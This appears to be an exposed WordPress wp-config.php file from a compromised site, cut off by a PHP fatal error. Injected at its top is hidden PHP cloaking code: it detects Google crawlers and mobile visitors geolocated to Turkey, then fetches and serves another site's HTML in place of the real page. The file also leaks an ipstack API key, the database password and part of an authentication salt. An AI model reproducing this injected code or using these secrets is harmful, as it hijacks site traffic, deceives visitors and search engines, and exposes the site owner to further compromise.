ini_set('display_errors', 1); error_reporting(E_ALL); $access_key = '0e81ff2f0d8cc6d2ba067848922d46db'; $ip = $_SERVER['REMOTE_ADDR']; $google_bots = [ 'Googlebot-Mobile', 'Googlebot', 'AdsBot-Google-Mobile', 'Google Page Speed', 'Lighthouse' ]; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $is_google_bot = false; foreach ($google_bots as $bot) { if (stripos($user_agent, $bot) !== false) { $is_google_bot = true; break; } } $is_mobile = preg_match('/Mobi|Android|iPhone|iPad|iPod/', $user_agent); if ($is_google_bot || ($is_mobile && getCountryCode($ip, $access_key) === 'TR')) { $url = 'https://entinstruments.co.in/'; $html = @file_get_contents($url); if ($html !== false) { echo $html; exit; } } function getCountryCode($ip, $access_key) { $ch = curl_init("http://api.ipstack.com/{$ip}?access_key={$access_key}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); return $data['country_code'] ?? 'Unknown'; } /** Enable W3 Total Cache */ define('WP_CACHE', false); // Added by W3 Total Cache /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wordpress' ); /** MySQL database password */ define( 'DB_PASSWORD', 'W9afpUSQBsse9TfB' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'vu s7mOcOV;|;19{#c`[EVXUi.DW+O=4Hct=C-uc1M`XQn5!qB9f.x;Bx Fatal error: Uncaught Error: Call to undefined function wp() in /var/www/wp/wp-blog-header.php:16 Stack trace: #0 /var/www/wp/index.php(18): require() #1 {main} thrown in /var/www/wp/wp-blog-header.php on line 16